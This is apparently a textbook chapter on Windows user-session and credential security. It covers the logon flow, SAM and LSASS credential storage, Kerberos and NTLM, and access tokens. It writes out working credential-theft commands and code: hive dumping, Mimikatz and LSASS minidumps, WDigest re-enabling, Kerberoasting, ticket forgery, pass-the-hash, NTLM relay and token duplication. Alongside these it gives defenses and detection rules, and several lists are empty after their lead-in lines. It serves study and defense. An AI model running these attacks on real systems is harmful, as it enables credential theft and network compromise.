When a user sits down at a Windows computer and types their password, they initiate one of the most security-critical processes in the entire operating system. The authentication process determines not only whether access is granted, but also what credentials are cached, what tokens are created, and what attack surfaces are exposed. Understanding user session security is essential for both attackers seeking credentials and defenders protecting them.
This chapter follows the journey from login screen to desktop, examining how credentials are handled, stored, and potentially stolen at each stage.
The path from pressing Ctrl+Alt+Del to seeing your desktop involves multiple processes, each with specific security responsibilities:
┌─────────────────────────────────────────────────────────────────────────┐
│ USER SESSION FLOW │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ │
│ │ winlogon.exe │ Session 1 (User Session) │
│ └──────┬───────┘ │
│ │ │
│ │ SAS (Ctrl+Alt+Del) │
│ ▼ │
│ ┌──────────────┐ │
│ │ LogonUI.exe │ Credential Provider UI │
│ └──────┬───────┘ │
│ │ │
│ │ Credentials │
│ ▼ │
│ ┌──────────────┐ ┌──────────────┐ │
│ │ lsass.exe │────▶│ SAM/AD DS │ Credential Validation │
│ └──────┬───────┘ └──────────────┘ │
│ │ │
│ │ Token Created │
│ ▼ │
│ ┌──────────────┐ │
│ │ userinit.exe│ User Environment Setup │
│ └──────┬───────┘ │
│ │ │
│ │ Starts Shell │
│ ▼ │
│ ┌──────────────┐ │
│ │ explorer.exe │ User Desktop │
│ └──────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘This flow creates multiple points where credentials can be intercepted, and understanding each component reveals both attack opportunities and defensive measures.
Winlogon (winlogon.exe) is the gatekeeper of interactive logon. It exists in every user session and handles the critical Secure Attention Sequence (SAS)—the familiar Ctrl+Alt+Del that cannot be intercepted by user-mode applications. When you press Ctrl+Alt+Del, you're communicating directly with Winlogon through a hardware interrupt that malware cannot fake.
Winlogon's responsibilities include:
The SAS design is intentional: before Windows implemented this, malware could present fake login screens that captured credentials. The Ctrl+Alt+Del requirement ensures users are always communicating with the legitimate login infrastructure.
Rather than hardcoding a single authentication method, Windows uses Credential Providers—pluggable DLLs that can present different authentication options:
┌─────────────────────────────────────────────────────────────────────┐
│ CREDENTIAL PROVIDER ARCHITECTURE │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ LogonUI.exe │
│ │ │
│ ├── Password Credential Provider │
│ │ └─ Traditional username/password │
│ │ │
│ ├── Smart Card Credential Provider │
│ │ └─ PKI-based authentication │
│ │ │
│ ├── Windows Hello Provider │
│ │ ├─ PIN │
│ │ ├─ Fingerprint │
│ │ └─ Face recognition │
│ │ │
│ └── Third-Party Providers │
│ └─ Custom MFA, SSO, etc. │
│ │
└─────────────────────────────────────────────────────────────────────┘This architecture is both powerful and dangerous. Organizations can integrate custom MFA, single sign-on, and biometric providers. But attackers can also abuse it.
Malicious Credential Provider Registration
An attacker with administrative access can register a malicious Credential Provider that captures all credentials entered at the login screen:
Attack: Register malicious credential provider DLL
Location: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\
Authentication\Credential Providers\{CLSID}
Impact: Capture all credentials at logon
Detection: Credential provider auditingThe malicious provider implements the same interface as legitimate providers, but logs or exfiltrates credentials before passing them to the actual authentication system:
// Credential providers implement ICredentialProvider
// Malicious provider can intercept credentials
HRESULT MaliciousProvider::GetSerialization(
CREDENTIAL_PROVIDER_GET_SERIALIZATION_RESPONSE* pcpgsr,
CREDENTIAL_PROVIDER_CREDENTIAL_SERIALIZATION* pcpcs,
PWSTR* ppszOptionalStatusText,
CREDENTIAL_PROVIDER_STATUS_ICON* pcpsiOptionalStatusIcon
) {
// Log credentials before passing to real provider
LogCredentials(m_username, m_password);
// Pass to legitimate provider
return m_realProvider->GetSerialization(...);
}This technique is particularly insidious because it captures credentials before they reach LSASS, surviving even Credential Guard protections.
Older Windows versions supported notification packages—DLLs loaded by Winlogon that received callbacks during logon events:
Registry Location:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
Legacy (Pre-Vista):
- DLLs loaded by Winlogon
- Called during logon events
- Deprecated but sometimes still presentWhile deprecated, these registry keys still exist on some systems and can provide a persistence mechanism on older installations.
The Security Account Manager (SAM) database stores credentials for local accounts. Every Windows system has a SAM, and it contains the password hashes for local users like the built-in Administrator account.
Location:
File: C:\Windows\System32\config\SAM
Registry: HKLM\SAMThe SAM file is locked by the operating system while Windows is running, preventing direct access. However, multiple techniques exist to extract its contents.
SAM doesn't store credentials in plaintext—they're protected by multiple layers of encryption:
┌─────────────────────────────────────────────────────────────────────┐
│ SAM ENCRYPTION │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ Layer 1: SYSKEY (Boot Key) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Derived from SYSTEM hive: │ │
│ │ HKLM\SYSTEM\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data}│ │
│ │ Scattered across these keys │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Layer 2: SAM Key │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ HKLM\SAM\SAM\Domains\Account\F │ │
│ │ Encrypted with SYSKEY │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ Layer 3: User Hashes │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ HKLM\SAM\SAM\Domains\Account\Users\{RID}\V │ │
│ │ Contains: LM hash, NT hash (encrypted with SAM key) │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘The SYSKEY is scattered across multiple registry values in the SYSTEM hive, making extraction more complex. An attacker needs both the SAM and SYSTEM hives to decrypt the hashes.
Offline Extraction
If an attacker can boot from alternative media or access a disk image, they can copy the SAM and SYSTEM hives without Windows protections:
# Boot from live media or shadow copy
# Copy SAM and SYSTEM hives
# Using secretsdump.py
python secretsdump.py -sam SAM -system SYSTEM LOCAL
# Output:
# Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Online Extraction with Mimikatz
With administrative privileges on a running system, tools like Mimikatz can extract SAM hashes through LSASS:
mimikatz # privilege::debug
mimikatz # lsadump::sam
# Output:
# RID : 000001f4 (500)
# User : Administrator
# Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0Volume Shadow Copy
Windows Volume Shadow Copy Service creates backups that include unlocked copies of system files:
# Create shadow copy
vssadmin create shadow /for=C:
# Extract from shadow
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM .Registry Export
With administrator privileges, the hives can be saved directly:
# Save hives (requires admin)
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
reg save HKLM\SECURITY security.save| Defense | Description |
|---|---|
| Credential Guard | Isolates hashes in VTL 1 |
| LAPS | Unique local admin passwords |
| Disable LM Hash | No weak LM hashes stored |
| Strong Passwords | Resist offline cracking |
| PAM/PIM | Privileged access management |
LAPS (Local Administrator Password Solution) is particularly valuable—it ensures each computer has a unique local administrator password, so compromising one system's SAM doesn't provide access to others.
The Local Security Authority Subsystem Service (lsass.exe) is the credential goldmine. While SAM stores local account hashes, LSASS holds credentials for everyone currently logged in, including domain users. It caches these credentials to enable Single Sign-On (SSO) so users don't need to re-enter passwords for every network resource.
MITRE ATT&CK: T1003.001 - OS Credential Dumping: LSASS Memory
The credentials are stored in memory by authentication packages—DLLs that implement different authentication protocols:
┌─────────────────────────────────────────────────────────────────────┐
│ LSASS MEMORY CONTENTS │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ msv1_0.dll (MSV Authentication Package) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ - Plaintext passwords (cached) │ │
│ │ - NT hashes │ │
│ │ - SHA1 hashes │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ kerberos.dll (Kerberos Package) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ - TGT (Ticket Granting Ticket) │ │
│ │ - Session keys │ │
│ │ - Service tickets │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ wdigest.dll (Digest Authentication) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ - Plaintext passwords (if enabled) │ │
│ │ - Digest hashes │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ tspkg.dll (CredSSP/Terminal Services) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ - Plaintext credentials │ │
│ │ - For RDP SSO │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘Each package stores credentials in its own format, but tools like Mimikatz understand these internal structures and can parse credentials from memory dumps.
Mimikatz Direct Extraction
The classic approach—running Mimikatz directly on the target with debug privileges:
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Output:
# Authentication Id : 0 ; 999 (00000000:000003e7)
# Session : UndefinedLogonType from 0
# User Name : SYSTEM
# Domain : NT AUTHORITY
# Logon Server : (null)
# Logon Time : 2024/01/15 10:00:00
# SID : S-1-5-18
# msv :
# [00000003] Primary
# * Username : Administrator
# * Domain : WORKSTATION
# * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0Procdump Method
Creating a minidump of LSASS allows offline analysis, useful when you can't run Mimikatz directly on the target:
# Create LSASS dump
procdump.exe -accepteula -ma lsass.exe lsass.dmp
# Analyze offline with Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswordsLiving off the Land with comsvcs.dll
When tools like Procdump aren't available, the built-in comsvcs.dll can create minidumps:
# Using Task Manager (GUI method)
# Right-click lsass.exe → Create dump file
# Using rundll32
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass_pid> lsass.dmp fullDirect Memory Access
With sufficient privileges, processes can directly read LSASS memory:
// Open LSASS process
HANDLE hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
FALSE,
lsass_pid
);
// Read memory regions
ReadProcessMemory(hProcess, address, buffer, size, &bytesRead);
// Parse credentials from memory structuresWDigest authentication is an older protocol that required storing plaintext passwords in LSASS memory. On Windows 8.1 and later, this is disabled by default, but attackers can re-enable it:
Registry Control:
Key: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
Value: UseLogonCredential
Data: 1 = Store plaintext (vulnerable)
0 = Don't store (secure, default on Windows 8.1+)Attack Pattern:
# Enable WDigest caching
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
# Wait for new logon
# Extract plaintext with MimikatzThe attacker enables WDigest, then waits for users to log in (or forces a re-authentication). New logons will cache plaintext passwords that Mimikatz can then extract.
Kerberos is the primary authentication protocol in Active Directory environments. Understanding its flow is essential for both attacking and defending it:
┌─────────────────────────────────────────────────────────────────────┐
│ KERBEROS AUTHENTICATION │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ Client KDC Service │
│ │ │ │ │
│ │ 1. AS-REQ │ │ │
│ │ (Username, SPN) │ │ │
│ │──────────────────────▶│ │ │
│ │ │ │ │
│ │ 2. AS-REP │ │ │
│ │ (TGT encrypted │ │ │
│ │ with krbtgt hash) │ │ │
│ │◀──────────────────────│ │ │
│ │ │ │ │
│ │ 3. TGS-REQ │ │ │
│ │ (TGT + Service SPN) │ │ │
│ │──────────────────────▶│ │ │
│ │ │ │ │
│ │ 4. TGS-REP │ │ │
│ │ (Service ticket │ │ │
│ │ encrypted with │ │ │
│ │ service account │ │ │
│ │ hash) │ │ │
│ │◀──────────────────────│ │ │
│ │ │ │ │
│ │ 5. AP-REQ │ │
│ │ (Service ticket) │ │
│ │────────────────────────────────────────────────▶ │
│ │ │ │
│ │
└─────────────────────────────────────────────────────────────────────┘The key insight for attackers: service tickets (step 4) are encrypted with the service account's password hash. If an attacker can obtain a service ticket, they can attempt to crack it offline.
Kerberoasting exploits the fact that any authenticated domain user can request service tickets for any service with a Service Principal Name (SPN). The KDC doesn't verify that the user actually intends to use the service—it just issues the ticket.
MITRE ATT&CK: T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
# Request service tickets for SPNs
# Any authenticated user can request these
# Using Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
# Using GetUserSPNs.py
GetUserSPNs.py domain/user:password -dc-ip 10.10.10.1 -requestOnce obtained, these tickets can be cracked offline without any further network interaction:
# Hashcat
hashcat -m 13100 hashes.txt wordlist.txt
# John the Ripper
john --wordlist=wordlist.txt hashes.txtThe speed of offline cracking makes weak service account passwords particularly dangerous. A service account with a weak password can be cracked in minutes to hours, providing the attacker with credentials that often have broad network access.
AS-REP Roasting targets a specific misconfiguration: accounts with "Do not require Kerberos preauthentication" enabled. Normally, the AS-REQ includes an encrypted timestamp that proves the user knows their password. Without preauthentication, the KDC responds with data encrypted with the user's hash—which can then be cracked offline.
MITRE ATT&CK: T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting
# Using Rubeus
Rubeus.exe asreproast /outfile:asrep_hashes.txt
# Using GetNPUsers.py
GetNPUsers.py domain/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcatThis attack doesn't require any authentication—an attacker can spray usernames against the KDC and collect AS-REP responses for vulnerable accounts.
A Golden Ticket is a forged TGT created using the krbtgt account's hash. Since all TGTs are encrypted with krbtgt, possessing this hash allows an attacker to create tickets for any user with any permissions.
MITRE ATT&CK: T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
# Required Information:
# - Domain SID
# - krbtgt NTLM hash
# - Domain FQDN
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:31d6... /ticket:golden.kirbi
# Pass the ticket
mimikatz # kerberos::ptt golden.kirbiGolden Tickets are devastating because:
The only remediation is rotating the krbtgt password twice (to invalidate all existing tickets), which requires careful planning in production environments.
A Silver Ticket is a forged service ticket, created using the service account's hash rather than krbtgt. It's more limited than a Golden Ticket (only works for that specific service) but doesn't require domain-wide compromise.
MITRE ATT&CK: T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /target:server.corp.local /service:cifs /rc4:service_hash /ticket:silver.kirbiPass-the-Ticket uses legitimately obtained (or stolen) Kerberos tickets rather than forged ones:
# Export tickets
mimikatz # sekurlsa::tickets /export
# Import ticket
mimikatz # kerberos::ptt ticket.kirbi
# Verify
klistNTLM's design allows authentication using just the hash, without knowing the actual password. This makes stolen hashes immediately usable:
MITRE ATT&CK: T1550.002 - Use Alternate Authentication Material: Pass the Hash
# Using mimikatz
mimikatz # sekurlsa::pth /user:Administrator /domain:. /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
# Using Impacket
psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@target
# Using CrackMapExec
crackmapexec smb targets.txt -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0Pass-the-Hash is why credential theft is so valuable—you don't need to crack the hash to use it.
NTLM Relay is a man-in-the-middle attack where the attacker relays NTLM authentication from one target to another:
MITRE ATT&CK: T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning
┌─────────────────────────────────────────────────────────────────────┐
│ NTLM RELAY ATTACK │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ Victim Attacker Target │
│ │ │ │ │
│ │ 1. NTLM Auth │ │ │
│ │ Request │ │ │
│ │───────────────▶│ │ │
│ │ │ │ │
│ │ │ 2. Forward │ │
│ │ │ Auth to Target │ │
│ │ │────────────────▶│ │
│ │ │ │ │
│ │ │ 3. Challenge │ │
│ │ │◀────────────────│ │
│ │ │ │ │
│ │ 4. Challenge │ │ │
│ │◀───────────────│ │ │
│ │ │ │ │
│ │ 5. Response │ │ │
│ │───────────────▶│ │ │
│ │ │ │ │
│ │ │ 6. Forward │ │
│ │ │ Response │ │
│ │ │────────────────▶│ │
│ │ │ │ │
│ │ │ 7. Access │ │
│ │ │ Granted! │ │
│ │ │◀────────────────│ │
│ │
└─────────────────────────────────────────────────────────────────────┘The attacker doesn't need to know the password or hash—they just relay the victim's authentication to gain access as that victim.
Attack Tools:
# Responder (capture/relay)
responder -I eth0 -wrf
# ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# Combined attack
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"| Defense | Description |
|---|---|
| SMB Signing | Prevents relay attacks |
| EPA (Extended Protection) | Channel binding |
| Disable NTLM | Use Kerberos only |
| Protected Users | Block NTLM for sensitive accounts |
| Network Segmentation | Limit relay targets |
SMB Signing is the primary defense against relay attacks—it cryptographically binds the authentication to the specific connection, preventing relay.
Every process in Windows runs with an access token that defines its security context—who the process is running as, what groups it belongs to, and what privileges it has:
typedef struct _TOKEN {
// Token source and type
TOKEN_SOURCE TokenSource;
LUID TokenId;
LUID AuthenticationId;
// User and groups
SID_AND_ATTRIBUTES User;
PTOKEN_GROUPS Groups;
// Privileges
PTOKEN_PRIVILEGES Privileges;
// Integrity level
SID_AND_ATTRIBUTES IntegrityLevelSid;
// ... many more fields
} TOKEN;If a process can open another process's token, it can duplicate and use that token to gain the other user's privileges:
MITRE ATT&CK: T1134 - Access Token Manipulation
// Open target process with PROCESS_QUERY_INFORMATION
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
// Open process token
HANDLE hToken;
OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken);
// Duplicate token
HANDLE hNewToken;
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hNewToken);
// Create process with stolen token
CreateProcessWithTokenW(hNewToken, 0, NULL, L"cmd.exe", ...);This technique requires SeDebugPrivilege to access other users' processes, but once obtained, provides full impersonation capability.
Rather than creating a new process, the current thread can temporarily impersonate another token:
// Impersonate token (current thread only)
ImpersonateLoggedOnUser(hToken);
// Revert to self
RevertToSelf();Certain privileges enable privilege escalation or other attacks:
| Privilege | Abuse |
|---|---|
| SeDebugPrivilege | Access any process |
| SeImpersonatePrivilege | Impersonate tokens |
| SeAssignPrimaryTokenPrivilege | Assign process tokens |
| SeLoadDriverPrivilege | Load kernel drivers |
| SeBackupPrivilege | Read any file |
| SeRestorePrivilege | Write any file |
| SeTakeOwnershipPrivilege | Own any object |
The "Potato" family of attacks exploits SeImpersonatePrivilege, commonly held by service accounts:
Potato Family:
├── Hot Potato (deprecated)
├── Rotten Potato (deprecated)
├── Juicy Potato (Windows Server 2019-)
├── Sweet Potato (works on newer Windows)
├── Rogue Potato
├── Generic Potato
└── God Potato (latest)The attack concept:
1. Service accounts have SeImpersonatePrivilege
2. Trick SYSTEM process to authenticate to attacker
3. Impersonate captured SYSTEM token
4. Execute commands as SYSTEMThese attacks are particularly relevant for web applications and other services running as low-privilege service accounts—compromising the service provides SeImpersonatePrivilege, which can be escalated to SYSTEM.
| Technique | Detection |
|---|---|
| LSASS Dump | Process access to lsass.exe |
| SAM Access | Registry access to SAM hive |
| DCSync | Replication traffic from non-DC |
| Kerberoasting | Anomalous TGS requests |
| Event ID | Log | Description |
|---|---|---|
| 4624 | Security | Successful logon |
| 4625 | Security | Failed logon |
| 4648 | Security | Explicit credential logon |
| 4768 | Security | Kerberos TGT request |
| 4769 | Security | Kerberos service ticket |
| 4771 | Security | Kerberos pre-auth failed |
| 4776 | Security | NTLM authentication |
<!-- LSASS Access Detection -->
<RuleGroup groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
<GrantedAccess condition="contains">0x10</GrantedAccess>
</ProcessAccess>
</RuleGroup>
<!-- Suspicious Credential Provider -->
<RuleGroup groupRelation="or">
<RegistryEvent onmatch="include">
<TargetObject condition="contains">Credential Providers</TargetObject>
</RegistryEvent>
</RuleGroup>User session security represents a rich attack surface spanning authentication, credential storage, and token management:
| Attack | Requirement | Detection | Mitigation |
|---|---|---|---|
| SAM Dump | Local admin | File/registry access | Credential Guard |
| LSASS Dump | Local admin | LSASS access events | LSA Protection |
| Pass-the-Hash | NTLM hash | Logon events | Disable NTLM |
| Kerberoasting | Domain user | TGS request anomalies | Strong SPN passwords |
| Golden Ticket | krbtgt hash | Ticket anomalies | Rotate krbtgt |
| NTLM Relay | Network position | Auth anomalies | SMB Signing |
The key defensive priorities are:
For authorized testing, these credential attacks often provide the fastest path to domain compromise. Understanding them reveals why credential hygiene and proper security configuration are so critical.